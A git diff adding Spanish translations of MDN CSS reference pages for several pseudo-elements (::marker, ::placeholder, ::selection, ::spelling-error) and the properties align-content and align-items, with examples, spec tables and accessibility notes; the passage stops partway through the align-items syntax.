diff --git a/files/es/web/css/_doublecolon_marker/index.html b/files/es/web/css/_doublecolon_marker/index.html
new file mode 100644
index 0000000000..68c7e12b52
--- /dev/null
+++ b/files/es/web/css/_doublecolon_marker/index.html
@@ -0,0 +1,91 @@
+---
+title: '::marker'
+slug: 'Web/CSS/::marker'
+translation_of: 'Web/CSS/::marker'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">El <a href="/en/CSS/Pseudo-elements">pseudo-elemento</a> <strong><code>::marker</code></strong> en <a href="/en-US/docs/Web/CSS">CSS </a></span>selecciona la caja de marcadores de un elemento de la lista, que normalmente contiene una viñeta o un número. Funciona en cualquier elemento o pseudo-elemento configurado para <code><a href="/en-US/docs/Web/CSS/display">display: list-item</a></code>, como el elemento {{HTMLElement("li")}} y {{HTMLElement("summary")}}.</p>
+
+<pre class="brush: css no-line-numbers">::marker {
+  color: blue;
+  font-size: 1.2em;
+}</pre>
+
+<h2 id="Propiedades_permitidas">Propiedades permitidas</h2>
+
+<p>Sólo ciertas propiedades CSS puedes utilizarse en una regla con <code>::marker</code> como selector:</p>
+
+<ul>
+ <li>Todas las <a href="/en-US/docs/Web/CSS/CSS_Fonts">propiedades de fuentes</a></li>
+ <li>{{CSSxRef("color")}}</li>
+ <li>La propiedad {{CSSxRef("text-combine-upright")}}, {{CSSxRef("unicode-bidi")}} y {{CSSxRef("direction")}}</li>
+ <li>La propiedad {{CSSxRef("content")}}</li>
+</ul>
+
+<div class="blockIndicator note">
+<p>En la especificación se indica que en el futuro de pueden admitir propiedades CSS adicionales.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Duraznos&lt;/li&gt;
+  &lt;li&gt;Manzanas&lt;/li&gt;
+  &lt;li&gt;Ciruelas&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ul li::marker {
+  color: red;
+  font-size: 1.5em;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#marker-pseudo', '::marker')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Lists', '#marker-pseudo', '::marker')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.marker")}}</p>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>Elementos HTML que tienen marcadores por defecto: {{HTMLElement("ol")}}, {{HTMLElement("li")}}, {{HTMLElement("summary")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_placeholder/index.html b/files/es/web/css/_doublecolon_placeholder/index.html
new file mode 100644
index 0000000000..4ed5e7ff80
--- /dev/null
+++ b/files/es/web/css/_doublecolon_placeholder/index.html
@@ -0,0 +1,152 @@
+---
+title: '::placeholder'
+slug: 'Web/CSS/::placeholder'
+tags:
+  - '::placeholder'
+  - CSS
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::placeholder'
+---
+<div>{{CSSRef}}</div>
+
+<p>El <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elemento CSS</a>  <strong><code>::placeholder</code></strong> representa el <a href="/en-US/docs/Web/HTML/Forms_in_HTML#The_placeholder_attribute">texto provisional</a> en un elemento {{HTMLElement("input")}} o un elemento {{HTMLElement("textarea")}}.</p>
+
+<pre class="brush: css no-line-numbers">::placeholder {
+  color: blue;
+  font-size: 1.5em;
+}</pre>
+
+<p>Solo el subconjuto de las propiedades CSS que aplican al pseudo-elemento {{cssxref("::first-line")}} puede ser usado en una regla utilizando <code>::placeholder</code> en su selector.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> En la mayoría de navegadores, la apariencia del texto provisional es traslúcido o un color gris claro por defecto.</p>
+</div>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Texto_rojo">Texto rojo</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html line-numbers language-html">&lt;input placeholder="Type something here!"&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">input::placeholder {
+  color: red;
+  font-size: 1.2em;
+  font-style: italic;
+}</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample("Red_text", 200, 60)}}</p>
+
+<h3 id="Texto_verde">Texto verde</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush:html line-numbers language-html">&lt;input placeholder="Type something here..."&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">input::placeholder {
+  color: green;
+}
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Green_text", 200, 60)}}</p>
+
+<h2 id="Preocupaciones_por_la_accesibilidad">Preocupaciones por la accesibilidad</h2>
+
+<h3 id="Contraste_de_color">Contraste de color</h3>
+
+<h4 id="Contraste_de_color_2">Contraste de color</h4>
+
+<p>El texto temporal generalmente tiene un color más claro para indicar que es una sugerencia para el tipo de entrada que será válido, y no es una entrada real de cualquier tipo.</p>
+
+<p>Es importante asegurarse que el radio de contraste entre el color del texto provisional y el fondo de la entrada es lo suficientemente alto para que las personas que experimenten condiciones de visión baja sean capaces de leer el texto mientras también asegurarse que hay diferencia suficiente entre el color del texto temporal y el color del texto de entrada para que los usuarios no confundad el texto provisional con la información de ingreso.</p>
+
+<p>El radio del color de contraste es determinado al comparar la luminosidad entre dos colores. Para cumplir las actuales <a href="https://www.w3.org/WAI/standards-guidelines/wcag/es">Pautas de Accesibilidad para el Contenido Web (WCAG)</a>, un radio de 4.5:1 es requerido para el contenido de un texto y 3:1 para textos más grandes como encabezados. Un texto grando es definido como 18.66px o mayor en negritas; o 24px o mayor.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/" rel="noopener">WebAIM: Comprobador de contraste de color</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Entendiendo WCAG, Explicaciones del lineamiento 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Entendiendo críterios exitósos 1.4.3 | W3C Entendiendo WCAG 2.0</a></li>
+</ul>
+
+<h4 id="Usabilidad">Usabilidad</h4>
+
+<p>Un texto temporal con suficiente contraste puede ser interpretado como una entrada. El texto provisional podría desaparecer cuando una persona ingresa contenido en un elemento {{htmlelement("input")}}. Ámbas circunstancias pueden interferir con el correcto llenado de un formulario, especialmente para personas con dificultades cogniticas.</p>
+
+<p>Un acercamiento alternativo para proveer información provisional es incluirla afuera del campo de entrada en proximidad visual, entonces usar <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute">aria-describedby</a></code> para programáticamente asociar la entrada {{HTMLElement("input")}} con su sugerencia.</p>
+
+<p>Con esta implementación, el contenido de la sugerencia, esta disponible incluso cuando información es ingresada en el campo de entrada, y la entrada aparece libre de una <em>entrada</em> preexistente cuando la página ha cargado. Muchas de las tecnologías de lectores de pantalla usan <code>aria-describedby</code> para leer la sugerencia después de que la etiqueta de la entrada de texto hay sido anunciada, y la persona utilizando el lector de pantalla puede silenciarla si encuentra la información adicional innecesaria..</p>
+
+<pre class="brush:html line-numbers language-html">&lt;label for="user-email"&gt;Your email address&lt;/label&gt;
+&lt;span id="user-email-hint" class="input-hint"&gt;Example: jane@sample.com&lt;/span&gt;
+&lt;input id="user-email" aria-describedby="user-email-hint" name="email" type="email"&gt;
+</pre>
+
+<ul>
+ <li><a href="https://www.nngroup.com/articles/form-design-placeholders/">Los textos provisionales en los campos del formulario son dañinos (Placeholders in Form Fields Are Harmful) — Nielsen Norman Group</a></li>
+</ul>
+
+<h3 id="Modo_de_alto_contraste_de_Windows">Modo de alto contraste de Windows</h3>
+
+<p>El campo temporal puede aparecer con el mismo estilo como el texto ingresado por el usuario cuando se utiliza el <a href="/en-US/docs/Web/CSS/-ms-high-contrast">Modo de alto contraste de Windows</a>. Eso hará difícil para algunas personas determinar que contenido ha sido ingresado y que contenido es un texto temporal</p>
+
+<ul>
+ <li><a href="http://www.gwhitworth.com/blog/2017/04/how-to-use-ms-high-contrast">Greg Whitworth — Cómo usar -ms-high-contrast (How to use -ms-high-contrast)</a></li>
+</ul>
+
+<h3 id="Etiquetas">Etiquetas</h3>
+
+<p>El texto provisional no es un reemplazo para el elemento {{htmlelement("label")}}. Sin una etiqueta que ha sido programaticamente asociada con la entrada usando una combinación de los atributos {{htmlattrxref("for", "label")}} y {{htmlattrxref("id")}}, tecnología asistiva como los lectores de pantalla no pueden leer los elementos {{htmlelement("input")}}.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/forms/Basic_form_hints">Sugerencias básicas de formularios (MDN Basic form hints)</a></li>
+ <li><a href="https://www.nngroup.com/articles/form-design-placeholders/">Los textos provisionales en los campos del formulario son dañinos (Placeholders in Form Fields Are Harmful) — Nielsen Norman Group</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#placeholder-pseudo', '::placeholder')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.placeholder")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>La pseudo-clase {{cssxref(":placeholder-shown")}} provee estilos a un elemento que <em>tiene</em> un texto provisional activo.</li>
+ <li>Elementos HTML relacionados: {{HTMLElement("input")}}, {{HTMLElement("textarea")}}</li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms">Formularios HTML</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_selection/index.html b/files/es/web/css/_doublecolon_selection/index.html
new file mode 100644
index 0000000000..d02181429f
--- /dev/null
+++ b/files/es/web/css/_doublecolon_selection/index.html
@@ -0,0 +1,94 @@
+---
+title: '::selection'
+slug: 'Web/CSS/::selection'
+translation_of: 'Web/CSS/::selection'
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El selector <code>::selection</code> CSS pseudo-elemento aplica reglas a una porción de un documento que ha sido destacado (por ejemplo: selección con el mouse o algún otro puntero en un dispositivo) del usuario.</p>
+
+<p>Sólo un pequeño subconjunto de propiedades CSS pueden ser usadas en una regla  <code>::selection</code> en el selector de:  {{ cssxref("color") }}, {{ cssxref("background") }}, {{ cssxref("background-color") }} y {{ cssxref("text-shadow") }}. Nótese que, en particular, {{ cssxref("background-image") }} es ignorado, como cualquier otra propiedad.</p>
+
+<div class="note">
+<p><code>text-shadow</code> en <code>::selection</code> es soportado por Chrome y Safari y Firefox 17 y superior.</p>
+</div>
+
+<div class="note">Aunque este pseudo-elemento está en borradores como nivel 3 de selectores CSS, fue quitado durante la fase  recomendaciones de candidatos, como parecía que su comportamiento estaba infra-especificado, especialmente con elementos anidados, y la interoperabilidad no fue conseguida <a class="external" href="http://lists.w3.org/Archives/Public/www-style/2008Oct/0268.html" title="http://lists.w3.org/Archives/Public/www-style/2008Oct/0268.html">(basado en discusión en W3C lista de correos de estilo)</a>.<br>
+<br>
+<code>El ::selection</code> pseudo elemento actualmente no está en los modulos de CSS para estandar track. No debe ser usado en entornos de produccion.</div>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Gecko es la única máquina que requiere el prefijo. Devido a el factor que las reglas de análisis de CSS requieren dejar caer la regla general cuando encuentre un pseudo elemento inválido, dos reglas deben ser escritas: <code>::-moz-selection, ::selection {...}</code>. La regla debe soltada en non-Gecko como <code>::-moz-selection</code> es inválido en esto.</p>
+
+<pre class="brush: css">/* dibuja en cualquier texto seleccionado el color amarillo  sobre un fondo rojo */
+::-moz-selection { color: gold;  background: red; }
+::selection      { color: gold;  background: red; }
+
+/* dibuja el texto seleccionado en un parrafo de color blanco y negro*/
+p::-moz-selection { color: white;  background: black; }
+p::selection      { color: white;  background: black; }</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>El <code>::selection</code> CSS pseudo-elemento fue redactado selector CSS nivel 3 pero quitado antes que alcanzara el estatus recomendado. Apesar de esto es simplemente en algunos Navegadores, que probablemente tendran soporte a este.</p>
+
+<p><span style="line-height: inherit;">En estos momentos, el seudo elemento CSS </span><code style="font-size: 14px; line-height: inherit;">::selection</code><span style="line-height: inherit;"> no esta en ninguna especificaci</span><span style="line-height: inherit;">ón.</span></p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristicas</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>1</td>
+   <td>1.0 {{ property_prefix("-moz") }}</td>
+   <td>9</td>
+   <td>9.5</td>
+   <td>1.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristicas</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/es/web/css/_doublecolon_spelling-error/index.html b/files/es/web/css/_doublecolon_spelling-error/index.html
new file mode 100644
index 0000000000..7c0ac9fb5b
--- /dev/null
+++ b/files/es/web/css/_doublecolon_spelling-error/index.html
@@ -0,0 +1,70 @@
+---
+title: '::spelling-error'
+slug: 'Web/CSS/::spelling-error'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-elemento
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/::spelling-error'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>El <a href="/en/CSS/Pseudo-elements">pseudo-elemento</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>::spelling-error</code></strong> representa un segmento de texto que el {{glossary("user agent")}} ha marcado como deletreado incorrectamente.</p>
+
+<pre class="brush: css no-line-numbers">::spelling-error {
+  color: red;
+}</pre>
+
+<h2 id="Propiedades_permitidas">Propiedades permitidas</h2>
+
+<p>Solo se puede usar un pequeño subconjunto de propiedades de CSS en una regla con <code>::spelling-error</code> en su selector:</p>
+
+<ul>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("caret-color")}}</li>
+ <li>{{cssxref("outline")}} y sus longhands</li>
+ <li>{{cssxref("text-decoration")}} y sus propiedades asociadas</li>
+ <li>{{cssxref("text-emphasis-color")}}</li>
+ <li>{{cssxref("text-shadow")}}</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">::spelling-error</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-spelling-error', '::spelling-error')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.spelling-error")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref("::grammar-error")}}</li>
+</ul>
diff --git a/files/es/web/css/actual_value/index.html b/files/es/web/css/actual_value/index.html
new file mode 100644
index 0000000000..a11954dbdb
--- /dev/null
+++ b/files/es/web/css/actual_value/index.html
@@ -0,0 +1,36 @@
+---
+title: Valor real
+slug: Web/CSS/actual_value
+translation_of: Web/CSS/actual_value
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <strong>valor real</strong> (<strong>actual value</strong>) de una propiedad CSS es el valor usado una vez que se aplican todas las aproximaciones. Por ejemplo, tal vez un agente usuario solo puede renderizar bordes con un valor de píxel entero, y se vería forzado a calcular la aproximación de la anchura del borde.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'cascade.html#actual-value', 'actual value')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/Referencia_CSS">Referencia CSS</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/es/web/css/align-content/index.html b/files/es/web/css/align-content/index.html
new file mode 100644
index 0000000000..9e6b9b882a
--- /dev/null
+++ b/files/es/web/css/align-content/index.html
@@ -0,0 +1,261 @@
+---
+title: align-content
+slug: Web/CSS/align-content
+tags:
+  - Cajas Flexibles CSS
+  - Propiedad CSS
+translation_of: Web/CSS/align-content
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en-US/docs/CSS" title="CSS">CSS</a> <code>align-content</code> ajusta las líneas dentro de un contenedor flex cuando hay espacio extra en el eje transversal.</p>
+
+<p>Esta propiedad no tiene efecto en cajas flexibles de una sola línea.</p>
+
+<div>{{cssinfo}}</div>
+
+<p>Vea <a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS" title="CSS/Using_CSS_flexible_boxes">Usando las cajas flexibles CSS</a> para más propiedades e información.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* Ajusta las líneas desde el inicio del eje transversal */
+align-content: flex-start;
+
+/* Ajusta las líneas desde el final del eje transversal */
+align-content: flex-end;
+
+/* Ajusta las líneas al rededor del centro del eje transversal */
+align-content: center;
+
+/* Distribuye las líneas a lo largo del eje transversal, de principio a fin */
+align-content: space-between;
+
+/* Distribuye las líneas a lo largo del eje transversal, igualmente espaciados */
+align-content: space-around;
+
+/* Estira las líneas para que ocupen el eje transversal completo */
+align-content: stretch;
+
+/* Valores globales */
+align-content: inherit;
+align-content: initial;
+align-content: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>flex-start</code></dt>
+ <dd>Las líneas son ajustadas a partir del inicio del eje transversal. El borde transversal de inicio de la primera línea y el del contenedor flexible quedan unidos. Cada línea siguiente es unida a su predecesora.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Las líneas son ajustadas a partir del final del eje transversal. El borde transversal final de la última línea y el del contenedor flexible quedan unidos. Cada línea que precede es unida a la línea siguiente.</dd>
+ <dt><code>center</code></dt>
+ <dd>Las líneas son ajustadas hacia el centro del contenedor flexible. Las líneas son unidas entre sí, y centradas dentro del contenedor. El espacio entre el borde transversal de inicio y la primera línea, y el que hay entre el borde transversal final y la última línea es el mismo.</dd>
+ <dt><code>space-between</code></dt>
+ <dd>Las líneas son distribuidas de manera uniforme en el contenedor flexible. El espaciado se hace de modo que la separación entre cualquier par de elementos adyacentes sea el mismo. Los bordes transversales de inicio y de fin del contenedor son unidos a los bordes de la primera y última línea, respectivamente.</dd>
+ <dt><code>space-around</code></dt>
+ <dd>Las líneas son distribuidas uniformemente de modo que el espacio entre cualquier par de elementos adyacentes sea el mismo. El espacio vacío antes de la primera línea y el espacio después de la última es igual a la mitad del espacio entre cualquier par de líneas adyacentes.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Las líneas son estiradas para usar el espacio sobrante. El espacio libre en el contenedor es dividido por igual entre todas las líneas.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p><strong>HTML:</strong></p>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;p&gt;align-content: flex-start&lt;/p&gt;
+  &lt;div id="flex-start"&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;p&gt;align-content: center&lt;/p&gt;
+  &lt;div id="center"&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;p&gt;align-content: flex-end&lt;/p&gt;
+  &lt;div id="flex-end"&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;p&gt;align-content: space-between&lt;/p&gt;
+  &lt;div id="space-between"&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;p&gt;align-content: space-around&lt;/p&gt;
+  &lt;div id="space-around"&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;p&gt;align-content: stretch&lt;/p&gt;
+  &lt;div id="stretch"&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p><strong>CSS:</strong></p>
+
+<pre class="brush: css">#container &gt; div {
+  display: -webkit-flex;
+  display: -ms-flex;
+  display: flex;
+  -webkit-flex-flow: row wrap;
+  flex-flow: row wrap;
+  width: 140px;
+  height: 140px;
+  background: linear-gradient(-45deg, #78ff8c, #b4ffc8);
+}
+
+#container &gt; div &gt; div {
+  margin: 2px;
+  width: 30px;
+  min-height: 30px;
+  background: linear-gradient(-45deg, #788cff, #b4c8ff);
+}
+
+#flex-start {
+  -webkit-align-content: flex-start;
+  align-content: flex-start;
+}
+
+#center {
+  -webkit-align-content: center;
+  align-content: center;
+}
+
+#flex-end {
+  -webkit-align-content: flex-end;
+  align-content: flex-end;
+}
+
+#space-between {
+  -webkit-align-content: space-between;
+  align-content: space-between;
+}
+
+#space-around {
+  -webkit-align-content: space-around;
+  align-content: space-around;
+}
+
+#stretch {
+  -webkit-align-content: stretch;
+  align-content: stretch;
+}</pre>
+
+<p>Su resultado es:</p>
+
+<p>{{ EmbedLiveSample('Examples', 600, 550) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#align-content', 'align-content')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>21.0{{property_prefix("-webkit")}}</td>
+   <td>28.0<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>12.10</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>28.0<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>12.10</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Además del soporte sin prefijo, Gecko 48.0 {{geckoRelease("48.0")}} añadió soporte a la versión con prefijo <code>-webkit</code> de la propiedad, por razones de compatibilidad, usando la preferencia <code>layout.css.prefixes.webkit</code>, con valor predeterminado <code>false</code>. Desde Gecko 49.0 {{geckoRelease("49.0")}} el valor predeterminado de esta preferencia es <code>true</code>.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS" title="CSS/Using_CSS_flexible_boxes">Usando las cajas flexibles CSS</a></li>
+</ul>
diff --git a/files/es/web/css/align-items/index.html b/files/es/web/css/align-items/index.html
new file mode 100644
index 0000000000..1bc917d05b
--- /dev/null
+++ b/files/es/web/css/align-items/index.html
@@ -0,0 +1,169 @@
+---
+title: align-items
+slug: Web/CSS/align-items
+tags:
+  - Cajas Flexibles CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/align-items
+---
+<p>La propiedad <a href="/es/docs/Web/CSS" title="CSS">CSS</a> <strong><code>align-items</code></strong> establece el valor {{cssxref("align-self")}} sobre todos los descendientes directos de un grupo. La propiedad align-self indica la alineación de un elemento dentro del bloque que lo contiene. En Flexbox controla la alineación de los elementos del {{glossary("Cross Axis")}}, en Grid Layout controla la alineación de los elementos en el eje Block dentro de su <a href="/en-US/docs/Glossary/Grid_Areas">área grid</a>.</p>
+
+<p>El ejemplo interactivo a continuación demuestra algunos de los valores de <code>align-items</code> utilizando el sistema grid.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/align-items.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Palabras Clave Basicas */
+align-items: normal;
+align-items: stretch;
+
+/* Alineamiento posicional */
+/* align-items no considera los valores de "left" o "right"  */
+align-items: center; /* Agrupa los elementos alrededor del centro */
+align-items: start; /* Agrupa los elementos desde el inicio */
+align-items: end; /* Agrupa los elementos desde el final */
+align-items: flex-start; /* Agrupa los elementos flex desde el incio */
+align-items: flex-end; /* Agrupa los elementos flex desde el final */
+align-items: self-start;
+align-items: self-end;
+
+/* Alineamiento de Linea Base */
+align-items: baseline;
+align-items: first baseline;
